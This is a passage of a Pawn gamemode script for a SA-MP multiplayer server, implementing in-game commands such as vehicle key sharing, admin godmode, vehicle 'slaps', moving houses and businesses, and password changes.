					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
				else if(v1 == 0 && v2 == 0 && v3 != 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey_3[playidd] = PINFO[playerid][pCar_3];
					KeyDade_3[playerid] = playidd;
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 != 0 && v5 == 0 && v6 == 0)
				{
					tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey_4[playidd] = PINFO[playerid][pCar_4];
					KeyDade_4[playerid] = playidd;
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 != 0 && v6 == 0)
				{
					tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey_5[playidd] = PINFO[playerid][pCar_5];
					KeyDade_5[playerid] = playidd;
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 != 0)
				{
					tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey_6[playidd] = PINFO[playerid][pCar_6];
					KeyDade_6[playerid] = playidd;
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
		}
		if(strcmp(cmd, "/respawnallcars", true) == 0 || strcmp(cmd, "/racall", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] <= 5)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
					return 1;
				}
				for(new i = 0;i<MAX_VEHICLES;i++)
				{
				if(IsUnusedVehicle(i) && IsVehicleConnected(i) && OwnedMashin[i] == 0 && OwnedMashin_2[i] == 0)
				{
				VehicleTurbo[i] = 0;
				vJump[i] = 0;
				OilInCar[i] = 0;
                if(VehLinkDare[i] == 1)
                {
                 VehLinkDare[i] = 0;
                 VehLink[i][0] = '\0';
                }
				SetVehicleToRespawn(i);
				}
				}
				format(string,256,"{FFFFFF}All vehicles respawned by admin %s",PINFO[playerid][pName]);
				AdminWarn(string);
			}
			return 1;
		}
		if(strcmp(cmd, "/godmode", true) == 0 || strcmp(cmd, "/gm", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				//if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command when you're asleep.");
				if(GodmodeFeature[playerid] == false)
				{
				    if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command when you're asleep.");
                    if(Drinking[playerid] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command when you are drinking liquor.");
					GodmodeFeature[playerid] = true;
					SCM(playerid, COLOR_SINA2, "Godmode: {00FF00}Enabled.");
					new sttrr[114];
					format(sttrr,114,"{FFFFFF}Admin %s enabled the godmode feature for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(sttrr);
					PlayerPlaySound(playerid, 1149, 0.0, 0.0, 0.0);
					SetPlayerKoon(true, playerid, 100000);
					/*
					new straa[25];
					new straav[25];
					format(straa , sizeof(straa) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
					format(straav , sizeof(straav) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playerid, TeshnegiDarsad, straav);
					MizaneGoshnegi[playerid] = 10;
					MizaneTeshnegi[playerid] = 10;
					TooMargGoshne[playerid] = 0;
					TooMargTeshne[playerid] = 0;
					*/
				}
				else if(GodmodeFeature[playerid] == true)
				{
					GodmodeFeature[playerid] = false;
					SCM(playerid,COLOR_SINA2,"Godmode: {FF0000}Disabled.");
					PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
					new sttrr[114];
					format(sttrr,114,"{FFFFFF}Admin %s disabled the godmode feature for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(sttrr);
					SetPlayerKoon(true, playerid, 100);
				}
			}
			return 1;

			}
			
			
			
			
					if(strcmp(cmd, "/sponsorhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pSponser] != 1 && PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Sponsor.");
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** SPONSER HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /sponsorhelp, /a, /sp, /so, /checkweapons, /unfreeze, /gotolist, /slap, /aaevent, /stopevent, /gotohouse, /unsurf");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /respawn, /acheckjob, /pm, /goto, /takegun, /unfreezeall, /jetpack, /freeze, /rpfv, /autojetpack");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /freezeall, /sethpall, /setarmourall, /fav, /package, /uup, /rac, /front, /right, /dv, /dva, /setint, /setvw");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /amodveh, /favall, /gotopveh, /entercar, /gethere, /getcar, /setarmour, /gh, /adrag, /mark, /gotomark, /racd");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /lockengine, /unlockengine, /rtc, /gotointerior, /setmypos, /respawncar, /vehslap, /supervehslap, /vehex");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /vehcolor, /afcheck, /takegunall, /ggall, /gg, /veh, /rav, /ravall, /weather, /fixvehall, /adivorce, /flip, /getpos");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /afill, /clearwanted, /ml, /ffnn, /surf, /nitro, /fixveh, /checkav, /dfind, /gm, /house, /setskin, /deleteonme");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /gotobiz, /gotosbiz, /onme, /akiss, /afightstyle, /autogm, /fly, /dr, /setcolor, /atuning, /setgravity, /vjump");
					SCM(playerid, COLOR_GRAD2, "*** Sponsor  ***  /unsetcolor, /setjob, /nofind, /bigears, /firegun, /changenick, /gmt, /agivemats, /agivedr, /skin, /mapclick");
			}
			return 1;

			}
			
			
			
			
			
			
			
			
			
			
			
					if(strcmp(cmd, "/togadminw", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 9) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(adminwp[playerid] == 0)
				{
					adminwp[playerid] = 1;
					SCM(playerid, COLOR_SINA2, "AdminWarns: {00FF00}Enabled.");
				}
				else if(adminwp[playerid] == 1)
				{
					adminwp[playerid] = 0;
					SCM(playerid,COLOR_SINA2,"AdminWarns: {FF0000}Disabled.");
				}
			}
			return 1;

			}
			
			
			
			
			if(strcmp(cmd, "/gmt", true) == 0 || strcmp(cmd, "/gmto", true) == 0)
		{
			   tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /gmto <Playerid/PartOfName>");
					return 1;
				}
			new playa;
			playa = ReturnUser6(tmp);
			if(IsPlayerConnected(playa))
			{
				if(PlayerInfo[playerid][pAdmin] < 10 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(InSleep[playa] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for someone who is asleep.");
				if(GodmodeFeature[playa] == false)
				{
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					GodmodeFeature[playa] = true;
					SCM(playa, COLOR_SINA2, "Godmode: {00FF00}Enabled.");
					new sttrr[118];
					format(sttrr,256,"{FFFFFF}Admin %s enabled the godmode feature for %s.", PINFO[playerid][pName], PINFO[playa][pName]);
					AdminWarn(sttrr);
					PlayerPlaySound(playa, 1149, 0.0, 0.0, 0.0);
					SetPlayerKoon(true, playa, 100000.0);
					/*
					new straa[25];
					new straav[25];
					format(straa , sizeof(straa) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playa, GoshnegiDarsad, straa);
					format(straav , sizeof(straav) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playa, TeshnegiDarsad, straav);
					MizaneGoshnegi[playa] = 10;
					MizaneTeshnegi[playa] = 10;
					*/
				}
				else if(GodmodeFeature[playa] == true)
				{
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					GodmodeFeature[playa] = false;
					SCM(playa,COLOR_SINA2,"Godmode: {FF0000}Disabled.");
					PlayerPlaySound(playa,1149,0.0,0.0,0.0);
					new sttrr[118];
					format(sttrr,256,"{FFFFFF}Admin %s disabled the godmode feature for %s.", PINFO[playerid][pName], PINFO[playa][pName]);
					AdminWarn(sttrr);
					SetPlayerKoon(true, playa, 100.0);
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/drag", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pAdmin] < 4)
			{
			SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			return 1;
			}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /drag <Playerid/PartOfName>");
					return 1;
				}
				new newcar = GetPlayerVehicleID(playerid);
				new playa;
				playa = ReturnUser6(tmp);
				if(InSleep[playa] == 1)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: That player is asleep.");
				return 1;
				}
				if(!newcar) { SCM(playerid,COLOR_SINA3,"You are not in a vehicle."); return 1; }
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_SINA3, "You cannot drag an admin higher than you.");
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
								PutPlayerInVehicle(playa,newcar,1);
								GetPlayerName(playa, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								new sttr[256];
								format(sttr,256,"Admin %s drags you to his/her vehicle.",sendername);
								SCM(playa,COLOR_AdminWarn,sttr);
								SCM(playerid,COLOR_SINA3,"Dragged.");
						  new sttrr[256];
						  format(sttrr,256,"{FFFFFF}Admin %s dragged %s on his/her vehicle.", PINFO[playerid][pName], PINFO[playa][pName]);
						  AdminWarn(sttrr);
						}
					}
			}
			return 1;
		}
		*/
		//------------------------------[Vehicle Slap]---------------------------------------------------
		if(strcmp(cmd, "/vehslap", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /vehslap <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				giveplayerid = ReturnUser6(tmp);
				new Float:slx, Float:sly, Float:slz;
				playa = ReturnUser6(tmp);
					if(IsPlayerConnected(playa))
					{
					if(!IsPlayerInAnyVehicle(playa)) return SCM(playerid,COLOR_LIGHTRED,"that Player Is not in any vehicle.");
					if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, playername, sizeof(playername));
							GetVehiclePos(GetPlayerVehicleID(giveplayerid), slx, sly, slz);
							SetVehiclePos(GetPlayerVehicleID(giveplayerid), slx, sly, slz+550);
							PlayerPlaySound(playa, 1130, slx, sly, slz+5);
							format(string, sizeof(string), "[Admin-Warn]:{ffffff} Admin %s using the vehslap for player: %s.", playername, giveplayer);
							ABroadCast(COLOR_AdminWarn,string, 1);
							format(string, sizeof(string), "You have been vehicleslapped by Admin %s", playername);
							SCM(playa, COLOR_LIGHTRED, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			return 1;
		}
	//------------------------------[super vehslap]--------------------------------------------------
		if(strcmp(cmd, "/supervehslap", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /supervehslap <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				giveplayerid = ReturnUser6(tmp);
				new Float:slx, Float:sly, Float:slz;
				playa = ReturnUser6(tmp);
					if(IsPlayerConnected(playa))
					{
					if(!IsPlayerInAnyVehicle(playa)) return SCM(playerid,COLOR_LIGHTRED,"that Player Is not in any vehicle.");
					if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, playername, sizeof(playername));
							GetVehiclePos(GetPlayerVehicleID(giveplayerid), slx, sly, slz);
							SetVehiclePos(GetPlayerVehicleID(giveplayerid), slx, sly, slz+1000);
							PlayerPlaySound(playa, 1130, slx, sly, slz+5);
							format(string, sizeof(string), "[Admin-Warn]:{ffffff} Admin %s using the supervehslap for player: %s.", playername,giveplayer);
							ABroadCast(COLOR_AdminWarn,string, 5);
							format(string, sizeof(string), "You have been supervehicleslapped by Admin %s", playername);
							SCM(playa, COLOR_LIGHTRED, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			return 1;
		}
		if(!strcmp(cmd, "/speaker", true))
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pPnumber] == 0)
				{
					SendMessage(playerid, COLOR_PURPLE, "You do not have a phone.");
					return 1;
				}
				if(Mobile[playerid] == 9999)
				{
					SendMessage(playerid, COLOR_PURPLE, "You are not in a phone call.");
					return 1;
				}
				if(PlayerInfo[playerid][pSpeaker] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Beep Speaker is on.");
					PlayerInfo[playerid][pSpeaker] = 1;//NEmikhad save she
					return 1;
				}
				if(PlayerInfo[playerid][pSpeaker] == 1)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Beep Speaker is off.");
					PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
					return 1;
				}
			}
			return 1;
		}
	//-----------------------------------------------------------------------------------------
		if(strcmp(cmd, "/movehouse", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 12)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /movehouse <HouseID>");
						return 1;
					}
					new proplev = strval(tmp);
					if(proplev > sizeof(HouseInfo) || proplev < 0)
					{
						SCM(playerid, COLOR_YELLOW2, "Error: Invalid house id.");
						return 1;
					}
					else
					{
						new Float:X,Float:Y,Float:Z;
						GetPlayerPos(playerid,X,Y,Z);
						format(string,sizeof(string),"[Admin-Warn]: {ffffff}Admin %s moved house id #%d in position %f, %f, %f",RPName(playerid),proplev,X,Y,Z);
						ABroadCast(COLOR_AdminWarn,string,5);
						HouseInfo[proplev][hExitx] = X;
						SaveKonFloatH(proplev, "hExitx", X);
						HouseInfo[proplev][hExity] = Y;
						SaveKonFloatH(proplev, "hExity", Y);
						HouseInfo[proplev][hExitz] = Z;
						SaveKonFloatH(proplev, "hExitz", Z);
						DestroyDynamic3DTextLabel(houser[proplev]);
						houser[proplev] = CreateDynamic3DTextLabel("Loading Info ...",COLOR_LIGHTGREENN,HouseInfo[proplev][hExitx],HouseInfo[proplev][hExity],HouseInfo[proplev][hExitz],10.0,.testlos=1);
						return 1;
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
				return 1;
				}
			}
			return 1;
		}//hExitx
		if(strcmp(cmd, "/exph", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 12)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /exph <HouseID>");
						return 1;
					}
					new proplev = strval(tmp);
					if(proplev > sizeof(HouseInfo) || proplev < 0)
					{
						return 1;
					}
					else
					{
						new Float:X,Float:Y,Float:Z;
						GetPlayerPos(playerid,X,Y,Z);
						format(string,sizeof(string),"[Admin-Warn]: {ffffff}Admin %s has changed house id #%d interior to %f, %f, %f",RPName(playerid),proplev,X,Y,Z);
						ABroadCast(COLOR_AdminWarn,string,5);
						HouseInfo[proplev][hEntrancex] = X;
						SaveKonFloatH(proplev, "hEntrancex", X);
						HouseInfo[proplev][hEntrancey] = Y;
						SaveKonFloatH(proplev, "hEntrancey", Y);
						HouseInfo[proplev][hEntrancez] = Z;
						SaveKonFloatH(proplev, "hEntrancez", Z);
						HouseInfo[proplev][hInt] = GetPlayerInterior(playerid);
						SaveKonValH(proplev, "hInt", GetPlayerInterior(playerid));
						//SaveAccount(playerid);
						return 1;
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
				return 1;
				}
			}
		}
	   if(strcmp(cmd, "/ebiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 12)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /ebiz <BizID>");
						return 1;
					}
					new proplev = strval(tmp);
					if(proplev > sizeof(BizzInfo) || proplev < 0)
					{
						return 1;
					}
					else
					{
						new Float:X,Float:Y,Float:Z;
						GetPlayerPos(playerid,X,Y,Z);
						format(string,sizeof(string),"[Admin-Warn]: {ffffff}Admin %s has changed business id #%d interior to %f, %f, %f",RPName(playerid),proplev,X,Y,Z);
						ABroadCast(COLOR_AdminWarn,string,5);
						BizzInfo[proplev][bExitX] = X;
						SaveKonFloatH(proplev, "bExitX", X);
						BizzInfo[proplev][bExitY] = Y;
						SaveKonFloatH(proplev, "bExitY", Y);
						BizzInfo[proplev][bExitZ] = Z;
						SaveKonFloatH(proplev, "bExitZ", Z);
						//SaveAccount(playerid);
						return 1;
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
				return 1;
				}
			}
		}
		if(strcmp(cmd, "/movebiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 12)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /movebiz <BizID>");
						return 1;
					}
					new proplev = strval(tmp);
					if(proplev > sizeof(BizzInfo) || proplev < 0)
					{
                        SCM(playerid, COLOR_YELLOW2, "Error: Invalid business id.");
						return 1;
					}
					else
					{
						new Float:X,Float:Y,Float:Z;
						GetPlayerPos(playerid,X,Y,Z);
						format(string,sizeof(string),"[Admin-Warn]: {ffffff}Admin %s moved business id #%d in position %f, %f, %f",RPName(playerid), proplev,X,Y,Z);
						ABroadCast(COLOR_AdminWarn,string,1);
						BizzInfo[proplev][bEntranceX] = X;
						BizzInfo[proplev][bEntranceY] = Y;
						BizzInfo[proplev][bEntranceZ] = Z;
						DestroyDynamic3DTextLabel(bizer[proplev]);
						bizer[proplev] = CreateDynamic3DTextLabel("Loading Bizes ...",COLOR_BIZ,BizzInfo[proplev][bEntranceX], BizzInfo[proplev][bEntranceY], BizzInfo[proplev][bEntranceZ],10.0,.testlos=1);
						//SaveAccount(playerid);
						return 1;
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
				return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/movesbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 12)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /movesbiz <SbizID>");
						return 1;
					}
					new proplev = strval(tmp);
					if(proplev > sizeof(SBizzInfo) || proplev < 0)
					{
					    SCM(playerid, COLOR_YELLOW2, "Error: Invalid special business id.");
						return 1;
					}
					else
					{
					if(proplev == 22) return SCM(playerid, COLOR_YELLOW2, "Error: You can't move this special business.");
					if(proplev == 34) return SCM(playerid, COLOR_YELLOW2, "Error: You can't move this special business.");
					if(proplev == 35) return SCM(playerid, COLOR_YELLOW2, "Error: You can't move this special business.");
						new Float:X,Float:Y,Float:Z;
						GetPlayerPos(playerid,X,Y,Z);
						format(string,sizeof(string),"[Admin-Warn]: {ffffff}Admin %s moved special business id #%d in position %f, %f, %f",RPName(playerid), proplev,X,Y,Z);
						ABroadCast(COLOR_AdminWarn,string,1);
						SBizzInfo[proplev][sbEntranceX] = X;
						SBizzInfo[proplev][sbEntranceY] = Y;
						SBizzInfo[proplev][sbEntranceZ] = Z;
						DestroyDynamic3DTextLabel(sbizer[proplev]);
						sbizer[proplev] = CreateDynamic3DTextLabel("Loading Sbizzes...",COLOR_BIZ,SBizzInfo[proplev][sbEntranceX], SBizzInfo[proplev][sbEntranceY], SBizzInfo[proplev][sbEntranceZ],10.0,.testlos=1);
						//SaveAccount(playerid);
						return 1;
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
				return 1;
				}
			}
			return 1;
		}

/*
		if(strcmp(cmd, "/changepassword", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You need to login first.");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /changepassword <NewPassword>");
					return 1;
				}
//				if(FindBadSign(tmp))
//				{
//					SendMessage(playerid, COLOR_RED,"only [a-z] [A-Z] [0-9] [] _ () allowed for password");
//					return 1;
//				}
					if(strlen(tmp) >= 200)
					{
					SCM(playerid,COLOR_SINA3,"Invalid Password Type a password with -200 length");
					return 1;
				   }
				strmid(PlayerInfo[playerid][pKey], tmp, 0, strlen(tmp), 128);
				SaveKonStr(playerid, "pKey", tmp);
				//SaveAccount(playerid);
				SendMessage(playerid, COLOR_Good, "Password has been changed successfully.");
				SendMessage(playerid, COLOR_Good, "This feature is comming up on next release");
				new sstring[256];
				format(sstring, sizeof(sstring), "Your new password is: {FFFFFF}%s", PINFO[playerid][pKey]);
				SendMessage(playerid, COLOR_Good, sstring);
			}
			return 1;
		}
*/


	if(strcmp(cmd, "/changepassword", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		  if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
		return 1;
	   }
	}




		/*
		if(strcmp(cmd, "/changepassword", true) == 0 || strcmp(cmd, "/changepass", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		ShowPlayerDialog(playerid, 12541285, DIALOG_STYLE_INPUT, "Change-Password:", "Please Type Your New Password To Change.", "Change", "Cancel");
		return 1;
	   }
	}
	*/


		if(!strcmp(cmd, "/pdup", true))
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerState(playerid) == 1)
				{
					if(IsACop(playerid))
					{
						if(PlayerToPoint(3.0,playerid,1524.7275,-1677.5446,5.8906))
						{
							SetPlayerPos(playerid, 1564.8011,-1666.5461,28.3956);
							GameTextForPlayer(playerid, "~w~Police Departemnt Roof",5000,1);
							SetPlayerInterior(playerid,0);
							Mahal[playerid] = 9999;
							TooHouse[playerid] = 9999;
							TooBiz[playerid] = 9999;
						}
					}
					else
					{
